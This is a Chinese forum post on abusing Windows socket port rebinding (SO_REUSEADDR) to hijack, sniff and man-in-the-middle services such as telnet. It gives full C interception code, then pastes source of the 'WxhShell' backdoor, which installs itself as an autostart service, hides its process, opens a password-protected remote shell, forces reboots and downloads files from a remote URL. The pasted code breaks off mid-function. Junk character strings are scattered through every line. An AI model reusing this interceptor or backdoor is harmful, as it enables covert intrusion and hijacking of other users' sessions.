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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1};Stai'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AJ`h9 %B  
BM .~ 5\  
  saddr.sin_family = AF_INET; JIOR4'9  
$ @`V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NP3y+s  
)~JHgl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6j]0R*B7`Q  
]MitOkX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g7`LEF <A  
 w``ST  
  这意味着什么?意味着可以进行如下的攻击: <)c)%'v  
9IfmW^0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~KX/ Ai  
??vLUv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &.Qrs :U  
{@{']Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dOH &  
|FZ/[9*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @9RM9zK.q  
{qJ1ko)$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L+i=VGm0  
BG]#o| KW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9 -a0:bP  
Zt{[ *~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L48_96  
~-Qw.EdC  
  #include s8t;.^1}  
  #include C XMLt  
  #include F/kWHVHU[  
  #include    g@!V3V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   29] G^f>  
  int main() 08\, <9  
  { oY3;.;'bk  
  WORD wVersionRequested; fxHH;hRfv  
  DWORD ret; aSQ#k;T[  
  WSADATA wsaData; $Sip$\+*  
  BOOL val; 2-v%`fA  
  SOCKADDR_IN saddr; !PQ<04jA!  
  SOCKADDR_IN scaddr; y/7\?qfTk  
  int err; xdt- ;w|  
  SOCKET s; #r\4sVg  
  SOCKET sc; .|fH y  
  int caddsize; \V~eVf;~  
  HANDLE mt; Moza".fiN  
  DWORD tid;   j>"@,B g*  
  wVersionRequested = MAKEWORD( 2, 2 ); J<h $ wM  
  err = WSAStartup( wVersionRequested, &wsaData ); `l[c_%Bm  
  if ( err != 0 ) { D'Df JwA  
  printf("error!WSAStartup failed!\n"); v^*K:#<Q!  
  return -1; ;$wVu|&  
  } !?h;wR  
  saddr.sin_family = AF_INET; >SHhAEF  
   iz PDd{[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z$. 88 ^  
`dN@u@[\ks  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P}^W)@+3k  
  saddr.sin_port = htons(23); c-6?2\]j@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kxhWq:[c  
  { 0~/_|?]`7  
  printf("error!socket failed!\n"); 7[XRd9a5(  
  return -1; +\ .Lp 5  
  } Qe:seW  
  val = TRUE; `1fY)d^ZS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e6$WQd`O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y_-0tI\J  
  { M!^az[[  
  printf("error!setsockopt failed!\n"); 5Yq@;e  
  return -1; cR<fJ[*  
  } BW*rIn<?G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "@0]G<H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +iRh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f 6>b|k~  
yN(%-u"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hhc,uJ">!  
  { 7~.9=I'A  
  ret=GetLastError(); V {ddr:]4  
  printf("error!bind failed!\n"); u\;C;I-? '  
  return -1; YUy0!`!`  
  } F{;((VboN  
  listen(s,2); +VOK%8,p  
  while(1) BUXpC xQ  
  { c 3)jccWTc  
  caddsize = sizeof(scaddr); R!gEwTk  
  //接受连接请求 LFRlzz;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j'"J%e]  
  if(sc!=INVALID_SOCKET) JU&c.p /  
  { `Eo.v#<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i$ 6ypuc  
  if(mt==NULL) Pw"-S?`(  
  { ,R* ]>'  
  printf("Thread Creat Failed!\n"); p6!x=cW  
  break; sS'm!7*(3  
  } T}v4*O.,  
  } [5Mr@f4I  
  CloseHandle(mt); ,(^*+G.i  
  } ope^~+c~\  
  closesocket(s); ~dTrf>R8M  
  WSACleanup(); z_4J)?3  
  return 0; e8?jmN`2  
  }   Y O}<Ytx  
  DWORD WINAPI ClientThread(LPVOID lpParam) M&9+6e'-F  
  { 60?%<oJ oH  
  SOCKET ss = (SOCKET)lpParam; HvJs1)Wo&  
  SOCKET sc; _ *Pf  
  unsigned char buf[4096]; +Q"4Migbe@  
  SOCKADDR_IN saddr; VQOezQs\  
  long num; >@ .  
  DWORD val; z[qDkL  
  DWORD ret; 3 {sVVq5Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T'Dv.h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _ZSR.w}j/  
  saddr.sin_family = AF_INET; wgGl[_)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y\g3h M  
  saddr.sin_port = htons(23); pG;U2wE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \bvfEP  
  { &E5g3lf  
  printf("error!socket failed!\n"); 'c$+sp ?  
  return -1; %YqEzlzF  
  } p947w,1![  
  val = 100; N6i Q8P -  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R%[ c;i  
  { 8$Y9ORs4  
  ret = GetLastError(); lA8`l>I  
  return -1; di )L[<$DY  
  } :P0mx   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~q25Yx9W@  
  { /R wjCUf  
  ret = GetLastError(); q9s=~d7  
  return -1; Jij*x>K>y  
  } T</F 0su|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6?c7$Y  
  { p9{mS7R9T  
  printf("error!socket connect failed!\n"); )MTOU47U  
  closesocket(sc); 89(Q1R ?:  
  closesocket(ss); &\*(Q*2N  
  return -1; d5:c^`  
  } j*r{2f4Rt  
  while(1) /hyN;.hpOO  
  { i?^L/b`H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =U?dbSf1*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j/?kL{B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B \2 SH%\  
  num = recv(ss,buf,4096,0); onxLyx|A  
  if(num>0) oe-\ozJ0  
  send(sc,buf,num,0); L) T (<  
  else if(num==0) 4 "'~NvO  
  break; 9InVQCf2J  
  num = recv(sc,buf,4096,0); ~oY^;/ j  
  if(num>0) svH !1 b  
  send(ss,buf,num,0); ?^\|-Gr  
  else if(num==0) Z"fJ`--  
  break; .U]-j\  
  } 49HZ2`Y  
  closesocket(ss); ^Xh^xL2cn  
  closesocket(sc); -PR N:'T  
  return 0 ; v mk2{f,g  
  } '?(% Zxw%&  
E+;7>ja  
</*6wpN  
========================================================== >tW#/\x{  
}:)&u|d_  
下边附上一个代码,,WXhSHELL #?:lb1  
gc$l^`+M  
========================================================== O3kA;[f;  
k~w*W X'  
#include "stdafx.h" ]~3V}z,T*  
-6B4sZpzD  
#include <stdio.h> h(EhkCf  
#include <string.h> %._.~V  
#include <windows.h> H"WprHe  
#include <winsock2.h> hkQ"OsU  
#include <winsvc.h> XlR@pr6tw  
#include <urlmon.h> tK\~A,=  
E hMNap}5"  
#pragma comment (lib, "Ws2_32.lib") '/s)%bc  
#pragma comment (lib, "urlmon.lib") Jdj4\j u  
s!$7(Q86R  
#define MAX_USER   100 // 最大客户端连接数 XZd,&YiaG  
#define BUF_SOCK   200 // sock buffer f._ua>v,f  
#define KEY_BUFF   255 // 输入 buffer wI/iuc  
F7#JLE=  
#define REBOOT     0   // 重启 5$C-9  
#define SHUTDOWN   1   // 关机 11;MN  
#AQV(;r7@  
#define DEF_PORT   5000 // 监听端口 /IMFO:c  
0n{=%Q  
#define REG_LEN     16   // 注册表键长度 h~zT ydnH  
#define SVC_LEN     80   // NT服务名长度 Ig>(m49d  
E r?&Y,o  
// 从dll定义API r_A$DaC]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vx5Zl&6r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TOQP'/   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c{w2Gt!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qlPT Ll  
<wD-qTW  
// wxhshell配置信息 [/8%3  
struct WSCFG { S30%)<W  
  int ws_port;         // 监听端口 0<@@?G  
  char ws_passstr[REG_LEN]; // 口令 (n_/`dP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'TB2:W3  
  char ws_regname[REG_LEN]; // 注册表键名 _X x/(.O  
  char ws_svcname[REG_LEN]; // 服务名 kE1TP]|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 * r7rZFS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >fQMXfoY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *\F~[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d%n-[ZL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X!EP$!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "3Y0`&:D  
:^h$AWR^f  
}; -zfR)(zG  
LZxNAua  
// default Wxhshell configuration 4BpZJ~(p  
struct WSCFG wscfg={DEF_PORT, 7 HYwLG:\~  
    "xuhuanlingzhe", @f3E`8  
    1, + v:SM 9  
    "Wxhshell", AH~E)S  
    "Wxhshell", R.<g3"Lm>  
            "WxhShell Service", {E|$8)58i  
    "Wrsky Windows CmdShell Service", (TT}6j  
    "Please Input Your Password: ", \ @2R9,9E  
  1, +ami?#Sz*;  
  "http://www.wrsky.com/wxhshell.exe", "E4a=YH_  
  "Wxhshell.exe" [ub e6  
    }; KF:78C  
\:LW(&[!  
// 消息定义模块 ,r_Gf5c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bW(0Ng  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4;2uW#dG"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X%x*f3[  
char *msg_ws_ext="\n\rExit."; dioGAai'  
char *msg_ws_end="\n\rQuit."; O5BYD=7  
char *msg_ws_boot="\n\rReboot..."; gw<q.XL  
char *msg_ws_poff="\n\rShutdown..."; $VOF Oc  
char *msg_ws_down="\n\rSave to "; kb!%-k  
5wU]!bxr  
char *msg_ws_err="\n\rErr!"; SQ+Gvq%Q]  
char *msg_ws_ok="\n\rOK!"; ) ;Y;Q  
iuul7VR-%  
char ExeFile[MAX_PATH]; Dk51z@  
int nUser = 0; 'i|YlMFIg  
HANDLE handles[MAX_USER]; <t!W5q  
int OsIsNt; nKj7.,>;:<  
Q^^niVz  
SERVICE_STATUS       serviceStatus; tw)mepwB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^E>3|du]O  
Q\sK"~@3  
// 函数声明 ]JQULE)  
int Install(void); +G>\-tjSD  
int Uninstall(void);  uHRsFlw  
int DownloadFile(char *sURL, SOCKET wsh); !&@615Vtw  
int Boot(int flag); 4 s9LB  
void HideProc(void); -"9  
int GetOsVer(void); ;*2Cm'8E  
int Wxhshell(SOCKET wsl); }4X0epPp;:  
void TalkWithClient(void *cs); ]7c=PC  
int CmdShell(SOCKET sock); R`-S/C  
int StartFromService(void); MVUJD{X#  
int StartWxhshell(LPSTR lpCmdLine); <b*DQ:N  
A?OQE9'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &_8 947  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T6$+hUM$1  
<(#ej4ar,  
// 数据结构和表定义 ~v6D#@%A  
SERVICE_TABLE_ENTRY DispatchTable[] = |CbikE}kL  
{ @BMx!r5kn  
{wscfg.ws_svcname, NTServiceMain}, lq7E 4r  
{NULL, NULL} b" [|:F>P  
}; H3oFORh  
P16~Qj  
// 自我安装 VuZr:-K/  
int Install(void) -yNlyHv9  
{ 0JujesUw(  
  char svExeFile[MAX_PATH]; Zx>=tx}  
  HKEY key; S$-7SEkO+  
  strcpy(svExeFile,ExeFile); K wVbbC3  
t"I77aZ$A  
// 如果是win9x系统,修改注册表设为自启动 1X1dG#:  
if(!OsIsNt) { *|HY>U.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )0k53-h&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }c:M^Ff  
  RegCloseKey(key); 3Tm+g2w2V8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d2L&Z_}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I)HPO,7  
  RegCloseKey(key); 3=V &K-  
  return 0; 'dc#F3  
    } 1Ai^cf:S  
  } b%c9oR's^  
} cso8xq|b7  
else { tfWS)y7  
%\:Wi#w>  
// 如果是NT以上系统,安装为系统服务 dqcL]e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @>7%qS  
if (schSCManager!=0) %!#azI  
{ ]hV*r@d  
  SC_HANDLE schService = CreateService &BSn?  
  ( iH'p>s5L  
  schSCManager, hgE71H\s  
  wscfg.ws_svcname, akTk(  
  wscfg.ws_svcdisp, 1k^oS$UT  
  SERVICE_ALL_ACCESS, +aAc9'k   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2st3  
  SERVICE_AUTO_START, #B w0,\  
  SERVICE_ERROR_NORMAL, IdN41  
  svExeFile, EKN~H$.  
  NULL, j5h-dK  
  NULL, b7ZSPXV  
  NULL, NwfVL4Xg  
  NULL, sa8Vvzvo.  
  NULL PQE =D0  
  ); DVeE1Q  
  if (schService!=0) 2B`JGFcdcB  
  { \GU<43J2uo  
  CloseServiceHandle(schService); b\5F]r  
  CloseServiceHandle(schSCManager); !bP@n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {K!)Ss  
  strcat(svExeFile,wscfg.ws_svcname); o{[qZc_%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yIE!j %u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z0 Z%m@  
  RegCloseKey(key); 7-V/RChBm  
  return 0; !p/goqT~dY  
    } 0tJ Z4(0  
  } tT._VK]o&R  
  CloseServiceHandle(schSCManager); BFt> 9x]T  
} o#N+Y?O  
} c+GG\:gM  
6wg^FD_Q  
return 1; -I%5$`z  
} #p{4^  
c[s4EUG  
// 自我卸载 YchH~m|  
int Uninstall(void) #rg6,.I)<  
{ {\\T gs  
  HKEY key; U%/+B]6jP  
'0,^6'VWOV  
if(!OsIsNt) { f,Ghb~y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !TcJ)0   
  RegDeleteValue(key,wscfg.ws_regname); bN=P*hdf  
  RegCloseKey(key); [PbOfxxgA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &6k3*dq  
  RegDeleteValue(key,wscfg.ws_regname); 7PF%76TO  
  RegCloseKey(key); 51.%;aY~z  
  return 0; 8l">cVo]T  
  } [.}oyz; }N  
} ;O #>Y  
} T6kdS]4-  
else { ]K%!@O!  
$`'/+x"%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M'l ;:  
if (schSCManager!=0) OB}Ib]  
{ #,v {Ihn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z #m+ObHK1  
  if (schService!=0) .o}v#W+st  
  { NZz8j^  
  if(DeleteService(schService)!=0) { kvj#c  
  CloseServiceHandle(schService); U`s{Jm  
  CloseServiceHandle(schSCManager); 3=;<$+I6  
  return 0; R/a*LSe@&  
  } (4-CF3D  
  CloseServiceHandle(schService); CTA 3*Gn  
  } ( uidNq  
  CloseServiceHandle(schSCManager); )=-szJjXZ  
} q" 5(H5  
} a-J.B.A$Z/  
N4HqLh23H  
return 1; ?Ss!e$jf  
} PmM3]xVzd  
2b8L\$1q  
// 从指定url下载文件 QSf|nNT  
int DownloadFile(char *sURL, SOCKET wsh) +qdEq_ m  
{ 3T0"" !Q  
  HRESULT hr; j_ 7mNIr  
char seps[]= "/"; t.C5+^+%  
char *token; < FAheE+  
char *file; {+b7sA3  
char myURL[MAX_PATH]; p{dj~ &v  
char myFILE[MAX_PATH]; /z$ u]X  
,"79P/C  
strcpy(myURL,sURL); XRQ4\bMA8  
  token=strtok(myURL,seps); 1yY0dOoLG)  
  while(token!=NULL) S`Rs82>  
  { [=`q>|;pOv  
    file=token; hK|Ul]qI  
  token=strtok(NULL,seps); 8Xs8A.  
  } I1&aM}y{G  
MnW+25=N  
GetCurrentDirectory(MAX_PATH,myFILE); k$}fWR  
strcat(myFILE, "\\"); #A8sLkY  
strcat(myFILE, file); *}W_+qo"  
  send(wsh,myFILE,strlen(myFILE),0); 8*a&Jl  
send(wsh,"...",3,0); `~q<N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yu2Bkq+  
  if(hr==S_OK) ht}wEvv  
return 0; jZr q{Z<  
else ~WV"SaA)*U  
return 1; ]')RMg zM*  
IV)j1  
} IMONgFBS  
kB%JNMF{A  
// 系统电源模块 y1L,0 ]  
int Boot(int flag) 7"D.L-H  
{ A\5L 7  
  HANDLE hToken; C$)onk  
  TOKEN_PRIVILEGES tkp; l%i+cOD  
x'R`. !g3  
  if(OsIsNt) { \Y}8S/]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9( wK@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D^;Uq8NDKq  
    tkp.PrivilegeCount = 1; `Ryp% Bn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <1M-Ro?5k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Aq7osU1B  
if(flag==REBOOT) { @7n"yp*"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j"Pv0tehw  
  return 0; h@@=M  
} Jxm.cC5z.  
else { NQ2E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D. XvG_  
  return 0; FzC'G57Kl  
} GWip-wI  
  } 7Hu3>4<  
  else { P7/X|M z  
if(flag==REBOOT) { FaJ&GOM,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W `}Rf\g  
  return 0; k"w"hg&e  
} k|d+#u[Mj@  
else { jRV/A!4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v|2T%y_ u  
  return 0; iAU@Yg`pt  
} =w0R$&b&  
} >[*qf9$  
bA->{OPkT  
return 1; GR32S=\  
} Yg1  X  
!g2+w$YVa  
// win9x进程隐藏模块 ,zY$8y]  
void HideProc(void) lHX72s|V  
{ 8}UI bF  
b|W=pSTY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $E.I84UfX  
  if ( hKernel != NULL ) N87B8rDl  
  { ?FcAXA/J{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); icK/],  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "'\$ g[k  
    FreeLibrary(hKernel); 3m)y|$R  
  } um0N)&iY  
P";'jVcR  
return;  0lR5<^B  
} s->^=dy  
MFk5K  
// 获取操作系统版本 ^gnZ+`3  
int GetOsVer(void) L;I]OC^J  
{ sLQ^F  
  OSVERSIONINFO winfo; 8X|-rM{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sON|w86B  
  GetVersionEx(&winfo); @<&m|qtMsz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I2 P@L?h  
  return 1; D d</`iUq  
  else "#\ ;H$+  
  return 0; w+CA1q<  
} lU8`F(Mn  
'q:`? nJ^  
// 客户端句柄模块 :6\qpex  
int Wxhshell(SOCKET wsl) :20W\P<O!A  
{ Ciz X<Cr}  
  SOCKET wsh; B&uz;L3  
  struct sockaddr_in client; k\GcHI-  
  DWORD myID; RrQJ/ts7}  
)P|),S,;Z  
  while(nUser<MAX_USER) "LTad`]<Ro  
{ A~t j/yq9  
  int nSize=sizeof(client); BR yl4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }U"&8%PZr  
  if(wsh==INVALID_SOCKET) return 1; W:L AP R  
WI-1)1t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '1s0D]  
if(handles[nUser]==0) :Fvrs( x  
  closesocket(wsh); u:_,GQ )\  
else ;;N9>M?b  
  nUser++; OpYY{f  
  } I9hK} D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kpN)zxfk  
%OOl'o"V{s  
  return 0; `RL"AH:+  
} j#q-^h3H  
.ctw2x5W  
// 关闭 socket [3|P7?W/  
void CloseIt(SOCKET wsh) 03#lX(MB  
{ ut7zVp<"  
closesocket(wsh); [K0(RDV)%  
nUser--; K(,F~ .<  
ExitThread(0); [E juUElr  
} N5b!.B x-w  
HCC#j9UN6  
// 客户端请求句柄 iqQD{SRt{  
void TalkWithClient(void *cs) v #j$;  
{ &FN.:_E  
ckE-",G  
  SOCKET wsh=(SOCKET)cs; 2a Q[zK  
  char pwd[SVC_LEN]; 8c^TT&  
  char cmd[KEY_BUFF]; rCdu0 gYT  
char chr[1]; b2&0Hx  
int i,j; vnZC,J `  
U|Ta4W`k\  
  while (nUser < MAX_USER) { ZX./P0  
`&ckZiq  
if(wscfg.ws_passstr) { ]|P iF+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .jWC$SVR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zue~ce73J  
  //ZeroMemory(pwd,KEY_BUFF); ^sLdAC  
      i=0; Cd}<a?m,  
  while(i<SVC_LEN) { VQ9/Gxdeo  
) ahA[  
  // 设置超时 nk' s_a*Z  
  fd_set FdRead; sN01rtB(UT  
  struct timeval TimeOut; 6zuTQ^pz  
  FD_ZERO(&FdRead); fHd#u%63K  
  FD_SET(wsh,&FdRead); % ^1V4  
  TimeOut.tv_sec=8; <1${1A <Wa  
  TimeOut.tv_usec=0; [j/9neaye  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N~zdWnSZ@G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #fn)k1  
6fEqqUeV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pYmk1!]/  
  pwd=chr[0]; Uf;^%*P4  
  if(chr[0]==0xd || chr[0]==0xa) { R|87%&6']  
  pwd=0; K} X&AJ5A  
  break; _TQj~W<  
  } }l} Bo.C  
  i++; :emiQ  
    }  Sw, +p  
Ig0VW)@  
  // 如果是非法用户,关闭 socket Gm^U;u}=f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EaY?aAuS:  
} ra gXn  
O`t&ldU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fdi\hg^x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,w:U#r~s"  
sLT3Y}IO  
while(1) { !9VY|&fHe  
-3Z,EaG^  
  ZeroMemory(cmd,KEY_BUFF); 1JG'%8}#8  
L2i_X@/  
      // 自动支持客户端 telnet标准   ~YWQ2]  
  j=0; wIaony  
  while(j<KEY_BUFF) { ?Z[[2\DR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nBSYsp{  
  cmd[j]=chr[0]; YWO)HsjP  
  if(chr[0]==0xa || chr[0]==0xd) { bI9~jWgGp  
  cmd[j]=0; TpwkD_fg  
  break; Zaf:fsj>  
  } jZkcBIK2  
  j++; a P@N)"  
    } [uN? ~lp\%  
=Toy Zm\  
  // 下载文件 >7T'OC  
  if(strstr(cmd,"http://")) { h_3E)jc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fW1CFRHH  
  if(DownloadFile(cmd,wsh)) ! Y~FLA_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K)|G0n*qS  
  else U@)eTHv}6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i^Y+?Sx  
  } CXx*_@}MU  
  else { \\H}`0m:  
'"/=f\)u  
    switch(cmd[0]) { !6O(-S2A  
  ,pQZ@I\z  
  // 帮助 ;) z:fToh  
  case '?': { bSi%2Onj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VSI9U3t3w  
    break; Q%f^)HZGR  
  } h# o6K#  
  // 安装 g63(E,;;J  
  case 'i': { XZ]uUP  
    if(Install()) vDhh>x(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +YKi,  
    else hPkWCoQpq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G3vxjD<DMW  
    break; &P}_bx  
    } UapC"XYJ  
  // 卸载 aU "8{  
  case 'r': { li'YDtMKCY  
    if(Uninstall()) :B5Fdp3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RVA (Q[ ;  
    else Val|n*%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :W.(S6O(  
    break; p\tm:QWD;  
    } kY|utoAP  
  // 显示 wxhshell 所在路径 r Iu$pZO  
  case 'p': { S\YTX%Xm}  
    char svExeFile[MAX_PATH]; gw3K+P  
    strcpy(svExeFile,"\n\r"); %G/ hD  
      strcat(svExeFile,ExeFile); ^?7-r6  
        send(wsh,svExeFile,strlen(svExeFile),0); +-U- D?-  
    break;  Rn(ec  
    } s_OF(o  
  // 重启 ~IfJwBn-i  
  case 'b': { tGh~!|P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ms5ap<q#  
    if(Boot(REBOOT)) HI R~"It$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bz2ztH9 n  
    else { i$:*Pb3mV  
    closesocket(wsh); ;!mzyb*  
    ExitThread(0); Vl /+;6_  
    } d *|Y o  
    break; L~rBAIdD  
    } vrhT<+q  
  // 关机 +_?hK{Ib"  
  case 'd': { 8:c-k|CX  
